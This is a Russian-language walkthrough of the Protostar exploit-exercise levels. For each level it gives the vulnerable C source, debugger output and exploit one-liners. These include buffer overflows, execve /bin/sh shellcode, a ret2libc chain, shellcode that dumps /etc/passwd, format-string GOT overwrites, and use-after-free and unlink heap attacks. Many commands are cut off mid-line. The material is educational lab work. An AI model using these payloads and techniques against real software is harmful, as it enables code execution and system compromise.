Exploit Exercises: Введение в эксплуатацию бинарных уязвимостей на примере Protostar
Всем доброго времени суток. Продолжаем разбор заданий с сайта Exploit Exercises, и сегодня будут рассмотрены основные типы бинарных уязвимостей. Сами задания доступны по ссылке. На этот раз нам доступны 24 уровня, по следующим направлениям:
- Network programming
- Byte order
- Handling sockets
- Stack overflows
- Format strings
- Heap overflows
Задания по каждой категории идут от простого к сложному, демонстрируя базовые приемы эксплуатации уязвимостей.
Stack0
Этот уровень демонстрирует, как изменение локальных переменных в ходе обычного переполнения буфера, может повлиять на ход выполнения программы.
#include
#include
#include
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
Всё что нужно сделать, это просто переполнить отправить в переменную buffer, строку, превышающую её размер:
user@protostar:~$ python -c 'print("A"*100)' | /opt/protostar/bin/stack0
Получаем результат:
you have changed the 'modified' variable
Stack1
На прошлом уровне мы просто перезаписывали переменную modified, на этом требуется присвоить ей конкретное значение:
#include
#include
#include
#include
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
if(argc == 1) {
errx(1, "please specify an argument\n");
}
modified = 0;
strcpy(buffer, argv[1]);
if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
Поэтому для начала заполняем buffer, а затем устанавливаем modified:
user@protostar:~$ /opt/protostar/bin/stack1 `python -c 'from struct import pack; print("A"*64+pack("
И сообщение об успешном выполнении:
you have correctly got the variable to the right value
Stack2
На этом уровне всё тоже самое, за исключением того, что значения считываются из переменных окружения. А им как вы помните из предыдущей части, доверять нельзя:
#include
#include
#include
#include
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
char *variable;
variable = getenv("GREENIE");
if(variable == NULL) {
errx(1, "please set the GREENIE environment variable\n");
}
modified = 0;
strcpy(buffer, variable);
if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
Запускаем stack2 с предварительно установленной переменой окружения GREENIE:
user@protostar:~$ GREENIE=`python -c 'from struct import pack; print("A"*64+pack("
you have correctly modified the variable
Stack3
На этом уровне от нас требуется захватив регистр EIP, передать управление на функцию win:
#include
#include
#include
#include
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];
fp = 0;
gets(buffer);
if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}
Для начала, выясним её адрес:
(gdb) disassemble win
Dump of assembler code for function win:
0x08048424 : push %ebp
0x08048425 : mov %esp,%ebp
0x08048427 : sub $0x18,%esp
0x0804842a : movl $0x8048540,(%esp)
0x08048431 : call 0x8048360
0x08048436 : leave
0x08048437 : ret
End of assembler dump.
И выполним уже знакомые действия:
user@protostar:~$ python -c 'from struct import pack; print("A"*64+pack("
Адрес возврата изменён, о чем нас уведомляет следующее сообщение:
calling function pointer, jumping to 0×08048424
code flow successfully changed
Stack4
Этот уровень уже как раз демонстрирует изменение адреса возврата, при его обычном расположении в стеке:
#include
#include
#include
#include
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
user@protostar:~$ gdb /opt/protostar/bin/stack4
Узнаём адрес, по которому расположена функция win:
(gdb) disassemble win
Dump of assembler code for function win:
0x080483f4 : push %ebp
0x080483f5 : mov %esp,%ebp
0x080483f7 : sub $0x18,%esp
0x080483fa : movl $0x80484e0,(%esp)
0x08048401 : call 0x804832c
0x08048406 : leave
0x08048407 : ret
End of assembler dump.
Далее находим в стеке смещение, для перезаписи регистра EIP:
gdb-peda$ pattern_create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
Ну и собственно выполнив небольшой код, заставляем программу перейти на нужный нам участок:
opt/protostar/bin$ perl -e 'print "A"x76 . "\xf4\x83\x04\x08"' | ./stack4
О чем свидетельствует сообщение:
code flow successfully changed
Stack5
На этом уровне начинается введение в использование шелл-кодов.
#include
#include
#include
#include
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
user@protostar:/opt/protostar/bin$ gdb -ex r ./stack5
Starting program: /opt/protostar/bin/stack5
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBAAAAProgram received signal SIGSEGV, Segmentation fault.
0×41414141 in? ()(gdb) x/20xw $esp-100 0xbffff76c: 0x080483d9 0xbffff780 0xb7ec6165 0xbffff788 0xbffff77c: 0xb7eada75 0x42424242 0x42424242 0x42424242 0xbffff78c: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffff79c: 0x42424242 0x42424242 0x42424242 0x42424242 0xbffff7ac: 0x42424242 0x42424242 0x42424242 0x42424242
Создадим в peda небольшой шелл-код:
gdb-peda$ shellcode generate x86/linux exec
# x86/linux/exec: 24 bytes
shellcode = (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
"\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)
Осталось это всё объединить:
user@protostar:/opt/protostar/bin$ (python -c 'from struct import pack; print("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"+"\x90"*(76-24)+pack("
Немного поясню: cat в обычном режиме запускается и бесконечно начинает пересылать всё что приходит на STDIN в STDOUT, dash этого делать не умеет, и без параметров сразу закрывается.
Stack6
Продолжаем изучать шеллкод. На этом уровне нас просят для успешной эксплуатации воспользоваться одной из техник: ret2libc или ROP.
#include
#include
#include
#include
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
С кодом всё понятно, приступим к поиску адреса возврата. Скачав файл себе, и запустив его в peda, создаём паттерн:
Запускаем наш бинарник, передаём ему созданный шаблон, и просим peda найти нужные нам смещения:
В этом задании будем использовать технику ret2libc, но для начала найдём необходимые адреса:
(gdb) x/s *((char **)environ+14)
0xbfffff84: "SHELL=/bin/sh"
(gdb) p system
$1 = {} 0xb7ecffb0 <__libc_system>
(gdb) p exit
$1 = {} 0xb7ec60c0 <*__GI_exit>
Так как у нас не включен ASLR, то с этим проблем не возникло. В качестве параметра для функции system, передадим ей адрес на переменную окружения SHELL. Таким образом у нас есть все необходимые данные для создания сплоита:
eipOffset = 80
systemAddr = 0xb7ecffb0
exitAddr = 0xb7ec60c0
shellAddr = 0xbfffff8a
Сам сплоит будет выглядеть следующим образом:
A * eipOffset | systemAddr | exitAddr | shellAddr
Осталось это всё объединить:
После запуска получаем доступ к оболочке.
P.S. Ответ на вопрос: почему несмотря на наличие SUID бита мы не получаем root, был в разборе задания Level11
Stack7
Уровень полностью совпадает с предыдущим, за исключением того, что нас просят воспользоваться msfelfscan, для поиска ROP гаджетов.
#include
#include
#include
#include
char *getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xb0000000) == 0xb0000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
return strdup(buffer);
}
int main(int argc, char **argv)
{
getpath();
}
Выполняем те же действия что и в предыдущем задании:
Как можем наблюдать, peda нам сообщила о том, что регистр EAX как раз указывает на начало нашего буфера. Попробуем найти инструкции call/jmp eax в коде stack7, воспользовавшись предложенным msfelfscan:
$ msfelfscan -j eax ./stack7
[./stack7]
0x080484bf call eax
0x080485eb call eax
Для примера, возьмём этот шелл, который выведет нам содержимое файла /etc/passwd
В итоге сплоит будет выглядеть следующим образом:
user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print("\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80"+"\x90"*(80-43)+pack("
После запуска получаем соответствующий вывод:
input path please: got path 1��Rh/cath/bin��Rhsswdh//pah/etc���
RQS��̀�������������������������������������root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh Debian-exim:x:101:103::/var/spool/exim4:/bin/false statd:x:102:65534::/var/lib/nfs:/bin/false sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin protostar:x:1000:1000:protostar,,,:/home/protostar:/bin/bash user:x:1001:1001::/home/user:/bin/sh
Format0
Мы подошли к уязвимостям форматной строки. На этом уровне демонстрируется, пример того, как используя эту уязвимость, можно изменить ход выполнения программы. При этом есть условие: Нужно уложиться в строку размером 10 байт.
#include
#include
#include
#include
void vuln(char *string)
{
volatile int target;
char buffer[64];
target = 0;
sprintf(buffer, string);
if(target == 0xdeadbeef) {
printf("you have hit the target correctly :)\n");
}
}
int main(int argc, char **argv)
{
vuln(argv[1]);
}
Программа принимает первый аргумент командной строки, и без фильтрации передаёт его в sprintf. В случае обычного переполнения это решение выглядело бы следующим образом:
user@protostar://opt/protostar/bin$ ./format0 `python -c 'from struct import pack; print("A"*64+pack("
В 10 байт мы явно не укладываемся, поэтому стоит прибегнуть к возможностям строкового форматирования:
user@protostar://opt/protostar/bin$ ./format0 `python -c 'from struct import pack; print("%64x"+pack("
Мы всё так же решили задачу переполнением переменной buffer, однако теперь за нас это сделала функция sprintf
Format1
Уровень Format1 демонстрирует возможность изменения значений в памяти, по произвольному адресу.
#include
#include
#include
#include
int target;
void vuln(char *string)
{
printf(string);
if(target) {
printf("you have modified the target :)\n");
}
}
int main(int argc, char **argv)
{
vuln(argv[1]);
}
Воспользовавшись objdump найдём адрес по которому расположена переменная target:
user@protostar:/opt/protostar/bin$ objdump -t ./format1 | grep target
08049638 g O .bss 00000004 target
Далее, вычислим смещение, куда мы можем записывать данные:
user@protostar://opt/protostar/bin$ for i in {1..200}; do ./format1 "AAAA%$i\$x"; echo " $i"; done | grep 4141
AAAA41414141 127
Теперь мы можем изменить значение глобальной переменной target, следующим образом:
user@protostar://opt/protostar/bin$ ./format1 `python -c 'from struct import pack; print(pack("
Format2
Следующий уровень демонстрирует не просто изменение произвольного адреса, а запись по нему конкретного значения.
#include
#include
#include
#include
int target;
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
if(target == 64) {
printf("you have modified the target :)\n");
} else {
printf("target is %d :(\n", target);
}
}
int main(int argc, char **argv)
{
vuln();
}
Собственно алгоритм действий на первом этапе будет таким же, попробуем просто записать в target какое-нибудь значение. Заодно посмотрим как работал предыдущий пример.
Узнаём необходимую информацию:
user@protostar:/opt/protostar/bin$ objdump -t ./format2 | grep target
080496e4 g O .bss 00000004 target
user@protostar:/opt/protostar/bin$ for i in {1..200}; do echo -n "$i -> "; echo "AAAA%$i\$x" | ./format2; done | grep 4141
4 -> AAAA41414141
Теперь попробуем осуществить запись, как это было на предыдущем уровне:
user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print(pack("
Как и следовало ожидать, в target записывается количество байт до спецификатора %n. Осталось записать туда необходимое значение — 64. Которое будет получено как: 4 байта — адрес + отступ 60 символов:
user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print(pack("
Format3
Писать 1 байт это хорошо, но не практично. Поэтому этот уровень показывает как можно записать в память более 1 или 2-х байт.
#include
#include
#include
#include
int target;
void printbuffer(char *string)
{
printf(string);
}
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printbuffer(buffer);
if(target == 0x01025544) {
printf("you have modified the target :)\n");
} else {
printf("target is %08x :(\n", target);
}
}
int main(int argc, char **argv)
{
vuln();
}
Есть несколько способов это сделать:
- Мы можем писать конкретное значение в конкретный участок памяти как в предыдущем примере, следовательно, почему бы не записать сразу необходимое значение:
user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print(pack("
Минус этого метода в том, что предварительно нам будет выведен отступ в 0×01025544 символа; - Второй способ — это записывать значения по 1–2 байта
user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print(pack("
В начале мы указываем адреса по которым будем менять байты, затем уже привычным образом подбираем соответствующие значения. При этом стоит помнить о том, что мы ограничены в диапазоне изменения конкретного байта, т.е. каждый последующий должен быть больше предыдущего, так к примеру минимальное значение которое при данном способе можно записать в байт по смещению %14$n => 0×5c. Поэтому туда мы записываем сразу 2 байта; - Кончено никто не запрещает менять порядок записи байт, например вот так:
user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print(pack("
Вывода большого количества отступов не избежать, но опять же, изменять младшие байты мы можем начиная со значения 0×0103.
Format4
Вот мы и подошли к финальному и пожалуй самому интересному уровню на эксплуатацию уязвимости форматной строки. Тут от нас требуется, передать управление в функцию hello ().
#include
#include
#include
#include
int target;
void hello()
{
printf("code execution redirected! you win\n");
_exit(1);
}
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
exit(1);
}
int main(int argc, char **argv)
{
vuln();
}
Наиболее простым способом это сделать является перезаписть адреса в таблице GOT, для функции exit () на адрес функции hello (). Для начала найдем необходимые адреса:
user@protostar:/opt/protostar/bin$ objdump -t ./format4 | grep hello
080484b4 g F .text 0000001e hello
user@protostar:/opt/protostar/bin$ objdump -R ./format4 | grep exit
08049724 R_386_JUMP_SLOT exit
Далее определяем смещение, по которому расположен пользовательский буфер:
user@protostar:/opt/protostar/bin$ for i in {1..200}; do echo -n "$i -> "; echo "AAAA%$i\$x" | ./format4; done | grep 4141
4 -> AAAA41414141
Значения отступов, которые нужно использовать чтобы записать необходимое нам число можно рассчитать в Python следующим образом:
>>> 0x0804 - 8
2044
>>> 0x84b4 - 8 - 2044
31920
Теперь можно приступить к созданию сплоита:
user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print(pack("
После выполнения которого, получаем сообщение об успешном выполнении функции hello ()
Heap0
Этот уровень показывает основы переполнения кучи, и как это может повлиять на ход выполнения программы.
#include
#include
#include
#include
#include
struct data {
char name[64];
};
struct fp {
int (*fp)();
};
void winner()
{
printf("level passed\n");
}
void nowinner()
{
printf("level has not been passed\n");
}
int main(int argc, char **argv)
{
struct data *d;
struct fp *f;
d = malloc(sizeof(struct data));
f = malloc(sizeof(struct fp));
f->fp = nowinner;
printf("data is at %p, fp is at %p\n", d, f);
strcpy(d->name, argv[1]);
f->fp();
}
gdb-peda$ pattern_create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ set args 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
user@protostar:/opt/protostar/bin$ ./heap0 `python -c 'from struct import pack; print("A"*72+pack("
Heap1
#include
#include
#include
#include
#include
struct internet {
int priority;
char *name;
};
void winner()
{
printf("and we have a winner @ %d\n", time(NULL));
}
int main(int argc, char **argv)
{
struct internet *i1, *i2, *i3;
i1 = malloc(sizeof(struct internet));
i1->priority = 1;
i1->name = malloc(8);
i2 = malloc(sizeof(struct internet));
i2->priority = 2;
i2->name = malloc(8);
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
printf("and that's a wrap folks!\n");
}
gdb-peda$ p winner
$1 = {void (void)} 0x8048494
$ objdump -R ./heap1 | grep puts
08049774 R_386_JUMP_SLOT puts
gdb-peda$ pattern_create 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
gdb-peda$ set args 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA BBBBBBBB'
gdb-peda$ run
...
gdb-peda$ pattern_search
Registers contain pattern buffer:
EAX+0 found at offset: 20
EDX+0 found at offset: 20
$ ./heap1 `python -c 'from struct import pack; print("A"*20+pack("
Heap2
#include
#include
#include
#include
#include
struct auth {
char name[32];
int auth;
};
struct auth *auth;
char *service;
int main(int argc, char **argv)
{
char line[128];
while(1) {
printf("[ auth = %p, service = %p ]\n", auth, service);
if(fgets(line, sizeof(line), stdin) == NULL) break;
if(strncmp(line, "auth ", 5) == 0) {
auth = malloc(sizeof(auth));
memset(auth, 0, sizeof(auth));
if(strlen(line + 5) < 31) {
strcpy(auth->name, line + 5);
}
}
if(strncmp(line, "reset", 5) == 0) {
free(auth);
}
if(strncmp(line, "service", 6) == 0) {
service = strdup(line + 7);
}
if(strncmp(line, "login", 5) == 0) {
if(auth->auth) {
printf("you have logged in already!\n");
} else {
printf("please enter your password\n");
}
}
}
}
Что делает код? Сначала выводятся адреса 2х объектов auth и service, сделано это для большей наглядности. Затем в зависимости от считанной строки, происходит либо выделение памяти под тот или иной объект либо её освобождение.
Наиболее интересна тут следующая конструкция:
if(strncmp(line, "login", 5) == 0) {
if(auth->auth) {
Интересна она тем, что тут отсутствует проверка того, выделена ли память под объект auth или нет, т.е. код будет отрабатывать в любом случае, не зависимо от того освободили ли мы этот объект или нет. На лицо явная уязвимость use-after-free. Осталось её проэксплуатировать. Для начала выделим память для auth:
user@protostar:/opt/protostar/bin$ ./heap2
[ auth = (nil), service = (nil) ]
auth admin
[ auth = 0x804c008, service = (nil) ]
Хорошо, у нас выделилось 32 (sizeof (name)) + 4 (sizeof (auth)) байт. Теперь освободим этот участок:
reset
[ auth = 0x804c008, service = (nil) ]
Вроде бы ничего не изменилось, но взглянем на это под отладчиком:
Это до reset
А это после.
А теперь попробуем записать строку используя команду service:
service admin
[ auth = 0x804c008, service = 0x804c008 ]
Адреса полностью совпадают, это объясняется тем, что strdup так же использует malloc для выделения памяти под конечную строку, а так как мы только что пометили предыдущий участок, как свободный, то именно он у нас и стал использоваться. Таким образом, мы можем переписать и данные расположенные по адресу auth→auth, чтобы проверка логина прошла успешно.
Конечный эксплоит будет выглядеть так:
user@protostar:/opt/protostar/bin$ python -c 'print("auth admin\nreset\nservice "+"A"*36+"\nlogin")' | ./heap2
[ auth = (nil), service = (nil) ]
[ auth = 0x804c008, service = (nil) ]
[ auth = 0x804c008, service = (nil) ]
[ auth = 0x804c008, service = 0x804c018 ]
you have logged in already!
[ auth = 0x804c008, service = 0x804c018 ]
Heap3
#include
#include
#include
#include
#include
void winner()
{
printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}
int main(int argc, char **argv)
{
char *a, *b, *c;
a = malloc(32);
b = malloc(32);
c = malloc(32);
strcpy(a, argv[1]);
strcpy(b, argv[2]);
strcpy(c, argv[3]);
free(c);
free(b);
free(a);
printf("dynamite failed?\n");
}
Для наглядности воспользуемся peda, предварительно установив брейкпоинты в нужных местах:
gdb-peda$ b *0x080488d5 //strcpy(a, argv[1]);
gdb-peda$ b *0x08048911 //free(c);
gdb-peda$ b *0x08048935 //printf("dynamite failed?\n");
gdb-peda$ r `python -c 'print("A"*32 +" "+ "B"*32 +" "+ "C"*32)'`
После запуска срабатывает первый брейкпоинт. Узнаём адрес по которому расположена куча:
Посмотрим как выглядит куча, ещё до копирования в неё переданных аргументов:
P.S. для наглядности я не стал захватывать участок в 4 байта, расположенный перед указателем на размер чанка.
Сначала у нас идёт размер текущего куска: 0×804c004 + 0×29 = 0×804c02d — именно по этому адресу находятся данные, которые у нас помещены как «B», и так далее, в самом конце указан размер корзины. Теперь взглянем на этот же участок, перейдя к следующей точке останова:
Хорошо, с этим разобрались, осталось узнать что происходит с памятью, в куче после её освобождения:
Как видно, теперь каждый чанк, содержит указатель на следующий свободный
Так как копирование в данном примере осуществляется за счет strcpy, т.е. без ограничения по длине, то мы запросто можем переписать метаданные любого имеющегося чанка, в том числе и создать свой. Более подробно об этом можно узнать тут.
Для начала найдём адрес функции winner:
gdb-peda$ p winner
$1 = {void (void)} 0x8048864
Переписывать мы будем адрес в GOT для функции puts:
user@protostar:/opt/protostar/bin$ objdump -R ./heap3 | grep puts
0804b128 R_386_JUMP_SLOT puts
Шеллкод думаю описывать не нужно:
$ rasm2 'mov eax, 0x8048864; call eax'
b864880408ffd0
Приступим к созданию эксплоита. Так как эксплоит будет использовать особенности работы макроса unlink то адрес puts в GOT у нас станет:
0×0804b128 — 0xC = 0×0804b11c
Его собственно нужно заменить на адрес, по которому располагается первый чанк, куда мы и запишем шелл-код:
0×804c00c = 0×804c000 + 0xC
Третий чанк у нас будет расширен, за счет strcpy, и поделён на 2, так как нам нужно 2 подряд идущих чанка, которые будут помечены как свободные, иначе unlink не сработает. Конечный вид будет таким:
user@protostar:/opt/protostar/bin$ ./heap3 `python -c 'from struct import pack; print("\x90"*16+"\xb8\x64\x88\x04\x08\xff\xd0" +" "+ "B"*36+"\x65" +" "+ "C"*92+pack("
И после запуска получаем необходимое сообщение, из функции winner, и ошибку сегментации, которая нам не интересна, ведь цель выполнена.
Net0
#include "../common/common.c"
#define NAME "net0"
#define UID 999
#define GID 999
#define PORT 2999
void run()
{
unsigned int i;
unsigned int wanted;
wanted = random();
printf("Please send '%d' as a little endian 32bit int\n", wanted);
if(fread(&i, sizeof(i), 1, stdin) == NULL) {
errx(1, ":(\n");
}
if(i == wanted) {
printf("Thank you sir/madam\n");
} else {
printf("I'm sorry, you sent %d instead\n", i);
}
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
/* Don't do this :> */
srandom(time(NULL));
run();
}
Как следует из описания, на этом уровне нас хотят познакомить с преобразованием строки в «little endian» число.
Поэтому без лишних слов, открываем python:
#!/usr/bin/python3
import socket
from struct import pack
host = '10.0.31.119'
port = 2999
s = socket.socket()
s.connect((host, port))
data = s.recv(1024).decode()
print(data)
data = int(data[13:13 + data[13:].index("'")])
s.send(pack("
Считываем число, и используя функцию pack из модуля struct, приводим его к нужному формату. Осталось только запустить:
gh0st3rs@gh0st3rs-pc:protostar$ ./net0.py
Please send '1251330920' as a little endian 32bit int
Thank you sir/madam
Net1
#include "../common/common.c"
#define NAME "net1"
#define UID 998
#define GID 998
#define PORT 2998
void run()
{
char buf[12];
char fub[12];
char *q;
unsigned int wanted;
wanted = random();
sprintf(fub, "%d", wanted);
if(write(0, &wanted, sizeof(wanted)) != sizeof(wanted)) {
errx(1, ":(\n");
}
if(fgets(buf, sizeof(buf)-1, stdin) == NULL) {
errx(1, ":(\n");
}
q = strchr(buf, '\r'); if(q) *q = 0;
q = strchr(buf, '\n'); if(q) *q = 0;
if(strcmp(fub, buf) == 0) {
printf("you correctly sent the data\n");
} else {
printf("you didn't send the data properly\n");
}
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
/* Don't do this :> */
srandom(time(NULL));
run();
}
На этом уровне поставлена обратная задача, преобразовать полученные байты в строку. Снова воспользуемся Python:
#!/usr/bin/python3
import socket
from struct import unpack
host = '10.0.31.119'
port = 2998
s = socket.socket()
s.connect((host, port))
data = s.recv(1024)
print(data)
data = unpack("I", data)[0]
s.send(str(data).encode())
print(s.recv(1024).decode())
Да, вот так просто…
gh0st3rs@gh0st3rs-pc:protostar$ ./net0.py
b'\x92\xc5_x'
you correctly sent the data
Net2
#include "../common/common.c"
#define NAME "net2"
#define UID 997
#define GID 997
#define PORT 2997
void run()
{
unsigned int quad[4];
int i;
unsigned int result, wanted;
result = 0;
for(i = 0; i < 4; i++) {
quad[i] = random();
result += quad[i];
if(write(0, &(quad[i]), sizeof(result)) != sizeof(result)) {
errx(1, ":(\n");
}
}
if(read(0, &wanted, sizeof(result)) != sizeof(result)) {
errx(1, ":<\n");
}
if(result == wanted) {
printf("you added them correctly\n");
} else {
printf("sorry, try again. invalid\n");
}
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
/* Don't do this :> */
srandom(time(NULL));
run();
}
Последний уровень из этой серии. На котором нужно применить знания полученные ранее. Нам даны 4 uint числа, нужно отправить их сумму:
#!/usr/bin/python3
import socket
from struct import unpack, pack
host = '10.0.31.119'
port = 2997
s = socket.socket()
s.connect((host, port))
result = 0
for i in range(4):
tmp = s.recv(4)
tmp = int(unpack("
Запускаем и получаем сообщение об успехе:
gh0st3rs@gh0st3rs-pc:protostar$ ./net2.py
you added them correctly
На этом пока всё. Оставшиеся Final0 Final1 и Final2 предлагаю посмотреть самостоятельно.